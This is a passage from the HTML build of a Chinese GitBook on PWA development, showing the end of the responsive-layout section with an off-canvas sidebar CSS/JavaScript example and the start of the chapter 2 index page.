Canvas&#xFF09;</h4>\n<p>&#x5728;&#x753B;&#x5E03;&#x6EA2;&#x51FA;&#x5E03;&#x5C40;&#x4E2D;&#xFF0C;&#x5185;&#x5BB9;&#x4E0D;&#x662F;&#x4ECE;&#x4E0A;&#x5230;&#x4E0B;&#x7684;&#xFF0C;&#x800C;&#x662F;&#x5C06;&#x4E0D;&#x5E38;&#x7528;&#x7684;&#x5185;&#x5BB9;&#xFF0C;&#x6BD4;&#x5982;&#x5E94;&#x7528;&#x83DC;&#x5355;&#x548C;&#x5BFC;&#x822A;&#x680F;&#xFF0C;&#x6298;&#x53E0;&#x8D77;&#x6765;&#xFF0C;&#x7559;&#x4E0B;&#x4E00;&#x4E2A;&#x6253;&#x5F00;&#x7684;&#x5165;&#x53E3;&#xFF0C;&#x53EA;&#x6709;&#x5F53;&#x5C4F;&#x5E55;&#x8DB3;&#x591F;&#x5927;&#x7684;&#x65F6;&#x5019;&#x624D;&#x663E;&#x793A;&#x3002;&#x753B;&#x5E03;&#x6EA2;&#x51FA;&#x5E03;&#x5C40;&#x5F88;&#x5E38;&#x89C1;&#xFF0C;&#x4E0D;&#x4EC5;&#x5728; Web App &#x4E2D;&#xFF0C;&#x5728; Native App &#x4E2D;&#x4F7F;&#x7528;&#x66F4;&#x591A;&#x3002;&#x8FD9;&#x6837;&#x7684;&#x5E03;&#x5C40;&#x4E00;&#x822C;&#x90FD;&#x9700;&#x8981;&#x914D;&#x5408; JavaScript &#x4F7F;&#x7528;&#x3002;</p>\n<p><img src=\"img/off_canvas.png\" alt=\"&#x753B;&#x5E03;&#x6EA2;&#x51FA;&#x793A;&#x610F;&#x56FE;\"></p>\n<p>&#x5728;&#x793A;&#x4F8B;&#x4E2D;&#xFF0C;&#x6211;&#x4EEC;&#x901A;&#x8FC7; <code>transform: translate(-275px, 0)</code> &#x5C06;&#x5DE6;&#x4FA7;&#x4FA7;&#x8FB9;&#x680F;&#x9690;&#x85CF;&#x5728;&#x89C6;&#x53E3;&#x5916;&#xFF0C;&#x70B9;&#x51FB;&#x83DC;&#x5355;&#x540E;&#xFF0C;&#x83DC;&#x5355;&#x680F;&#x4F1A;&#x4ECE;&#x5DE6;&#x4FA7;&#x5212;&#x51FA;&#x3002;&#x5728;&#x9875;&#x9762;&#x89C6;&#x53E3;&#x5927;&#x4E8E; 800 &#x65F6;&#xFF0C;&#x5C06;&#x5E03;&#x5C40;&#x6539;&#x4E3A; <code>flexbox</code> &#x5F39;&#x6027;&#x5E03;&#x5C40;&#xFF0C;&#x76F4;&#x63A5;&#x663E;&#x793A;&#x5DE6;&#x4FA7;&#x83DC;&#x5355;&#x680F;&#xFF0C;&#x4EE3;&#x7801;&#x5982;&#x4E0B;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>style</span><span class=\"token punctuation\">&gt;</span></span><span class=\"token style\"><span class=\"token language-css\">\n  <span class=\"token selector\">nav</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token property\">width</span><span class=\"token punctuation\">:</span> 275px<span class=\"token punctuation\">;</span>\n    <span class=\"token property\">height</span><span class=\"token punctuation\">:</span> 100%<span class=\"token punctuation\">;</span>\n    <span class=\"token property\">position</span><span class=\"token punctuation\">:</span> absolute<span class=\"token punctuation\">;</span>\n    <span class=\"token comment\">/* &#x5C06;&#x83DC;&#x5355;&#x680F;&#x9690;&#x85CF;&#x8D77;&#x6765; */</span>\n    <span class=\"token property\">transform</span><span class=\"token punctuation\">:</span> <span class=\"token function\">translate</span><span class=\"token punctuation\">(</span>-275px<span class=\"token punctuation\">,</span> 0<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token property\">transition</span><span class=\"token punctuation\">:</span> transform 0.3s ease-in-out<span class=\"token punctuation\">;</span>\n    <span class=\"token property\">background</span><span class=\"token punctuation\">:</span> #39f<span class=\"token punctuation\">;</span>\n    <span class=\"token property\">z-index</span><span class=\"token punctuation\">:</span> 2<span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token selector\">nav.open</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token property\">transform</span><span class=\"token punctuation\">:</span> <span class=\"token function\">translate</span><span class=\"token punctuation\">(</span>0<span class=\"token punctuation\">,</span> 0<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token comment\">/* &#x5728;&#x89C6;&#x53E3;&#x5927;&#x4E8E; 800px &#x65F6;&#xFF0C;&#x5C06;&#x83DC;&#x5355;&#x680F;&#x76F4;&#x63A5;&#x663E;&#x793A;&#x51FA;&#x6765; */</span>\n  <span class=\"token atrule\"><span class=\"token rule\">@media</span> screen and <span class=\"token punctuation\">(</span><span class=\"token property\">min-width</span><span class=\"token punctuation\">:</span> 800px<span class=\"token punctuation\">)</span></span> <span class=\"token punctuation\">{</span>\n    <span class=\"token selector\">nav</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token property\">position</span><span class=\"token punctuation\">:</span> relative<span class=\"token punctuation\">;</span>\n      <span class=\"token property\">transform</span><span class=\"token punctuation\">:</span> <span class=\"token function\">translate</span><span class=\"token punctuation\">(</span>0<span class=\"token punctuation\">,</span> 0<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token selector\">body</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token property\">display</span><span class=\"token punctuation\">:</span> flex<span class=\"token punctuation\">;</span>\n      <span class=\"token property\">flex-flow</span><span class=\"token punctuation\">:</span> wrap<span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token selector\">main</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token property\">width</span><span class=\"token punctuation\">:</span> auto<span class=\"token punctuation\">;</span>\n      <span class=\"token property\">flex</span><span class=\"token punctuation\">:</span> 1<span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n  <span class=\"token punctuation\">}</span>\n</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>style</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>nav</span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>nav</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>main</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>a</span> <span class=\"token attr-name\">id</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>menu<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>...<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>a</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>main</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span> <span class=\"token attr-name\">id</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>mask<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>div</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n  let mask = document.querySelector(&apos;#mask&apos;)\n  let nav = document.querySelector(&apos;nav&apos;)\n  let menu = document.querySelector(&apos;a&apos;)\n\n  // &#x70B9;&#x51FB;&#x83DC;&#x5355;&#xFF0C;&#x663E;&#x793A;&#x6216;&#x9690;&#x85CF;&#x83DC;&#x5355;&#x680F;\n  menu.addEventListener(&apos;click&apos;, event =&gt; {\n    nav.classList.toggle(&apos;open&apos;)\n    mask.classList.toggle(&apos;open&apos;)\n  })\n  // &#x70B9;&#x51FB;&#x906E;&#x7F69;&#xFF0C;&#x9690;&#x85CF;&#x83DC;&#x5355;&#x680F;\n  mask.addEventListener(&apos;click&apos;, event =&gt; {\n    nav.classList.remove(&apos;open&apos;)\n    mask.classList.remove(&apos;open&apos;)\n  })\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x4EE5;&#x4E0A;&#x5C31;&#x662F;&#x6BD4;&#x8F83;&#x5E38;&#x89C1;&#x7684; 5 &#x79CD;&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;&#x6A21;&#x5F0F;&#xFF0C;&#x5927;&#x591A;&#x6570;&#x60C5;&#x51B5;&#x4E0B;&#x90FD;&#x9700;&#x8981;&#x591A;&#x79CD;&#x6A21;&#x5F0F;&#x540C;&#x65F6;&#x4F7F;&#x7528;&#x3002;</p>\n<h2 id=\"&#x603B;&#x7ED3;\"><a name=\"&#x603B;&#x7ED3;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x603B;&#x7ED3;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x603B;&#x7ED3;\" class=\"plugin-anchor\" href=\"#&#x603B;&#x7ED3;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x603B;&#x7ED3;</h2>\n<p>&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;&#x4ECE;&#x8BBE;&#x8BA1;&#x89D2;&#x5EA6;&#x51FA;&#x53D1;&#xFF0C;&#x501F;&#x52A9;&#x89C6;&#x53E3;&#x8BBE;&#x7F6E;&#x3001;CSS &#x5A92;&#x4F53;&#x67E5;&#x8BE2;&#x7B49;&#x65B9;&#x6CD5;&#xFF0C;&#x4F7F;&#x5F00;&#x53D1;&#x8005;&#x53EF;&#x4EE5;&#x66F4;&#x6613;&#x4E8E;&#x7EF4;&#x62A4;&#x9002;&#x7528;&#x4E8E;&#x4E0D;&#x540C;&#x5C3A;&#x5BF8;&#x5C4F;&#x5E55;&#x7684;&#x7F51;&#x9875;&#x3002;&#x5728;&#x672C;&#x8282;&#x4E2D;&#xFF0C;&#x6211;&#x4EEC;&#x4ECB;&#x7ECD;&#x4E86;&#x4E00;&#x4E9B;&#x6587;&#x5B57;&#x3001;&#x56FE;&#x7247;&#x4EE5;&#x53CA;&#x5E03;&#x5C40;&#x65B9;&#x9762;&#x5E38;&#x89C1;&#x7684;&#x54CD;&#x5E94;&#x5F0F;&#x8BBE;&#x8BA1;&#x6700;&#x4F73;&#x5B9E;&#x8DF5;&#xFF0C;&#x5F00;&#x53D1;&#x8005;&#x5E94;&#x7528;&#x8FD9;&#x4E9B;&#x7ECF;&#x9A8C;&#xFF0C;&#x53EF;&#x4EE5;&#x66F4;&#x597D;&#x7684;&#x4F18;&#x5316; PWA &#x5728;&#x4E0D;&#x540C;&#x5C3A;&#x5BF8;&#x5927;&#x5C0F;&#x8BBE;&#x5907;&#x7684;&#x7528;&#x6237;&#x4F53;&#x9A8C;&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:42 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"4-app-skeleton.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 2.4 骨架屏\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"../chapter03.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 第3章 基础技术简介\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"2.5 响应式布局\",\"level\":\"1.3.5\",\"depth\":2,\"next\":{\"title\":\"第3章 基础技术简介\",\"level\":\"1.4\",\"depth\":1,\"path\":\"chapter03.md\",\"ref\":\"chapter03.md\",\"articles\":[{\"title\":\"3.1 Promise\",\"level\":\"1.4.1\",\"depth\":2,\"path\":\"chapter03/1-promise.md\",\"ref\":\"chapter03/1-promise.md\",\"articles\":[]},{\"title\":\"3.2 Async 函数\",\"level\":\"1.4.2\",\"depth\":2,\"path\":\"chapter03/2-async-function.md\",\"ref\":\"chapter03/2-async-function.md\",\"articles\":[]},{\"title\":\"3.3 Fetch API\",\"level\":\"1.4.3\",\"depth\":2,\"path\":\"chapter03/3-fetch-api.md\",\"ref\":\"chapter03/3-fetch-api.md\",\"articles\":[]},{\"title\":\"3.4 Cache API\",\"level\":\"1.4.4\",\"depth\":2,\"path\":\"chapter03/4-cache-api.md\",\"ref\":\"chapter03/4-cache-api.md\",\"articles\":[]},{\"title\":\"3.5 IndexedDB\",\"level\":\"1.4.5\",\"depth\":2,\"path\":\"chapter03/5-indexeddb.md\",\"ref\":\"chapter03/5-indexeddb.md\",\"articles\":[]}]},\"previous\":{\"title\":\"2.4 骨架屏\",\"level\":\"1.3.4\",\"depth\":2,\"path\":\"chapter02/4-app-skeleton.md\",\"ref\":\"chapter02/4-app-skeleton.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter02/5-responsive-design.md\",\"mtime\":\"2019-06-19T10:37:42.000Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter02.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>第2章 设计与体验 · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"chapter02/1-what-is-good-ux.html\" />\n    \n    \n    <link rel=\"prev\" href=\"chapter01/6-your-first-pwa.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"./\">\n            \n                <a href=\"./\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"chapter01.html\">\n            \n                <a href=\"chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.3\" data-path=\"chapter02.html\">\n            \n                <a href=\"chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"chapter02/2-design-and-tech.html\">\n            \n                <a href=\"chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"chapter02/3-app-shell.html\">\n            \n                <a href=\"chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" 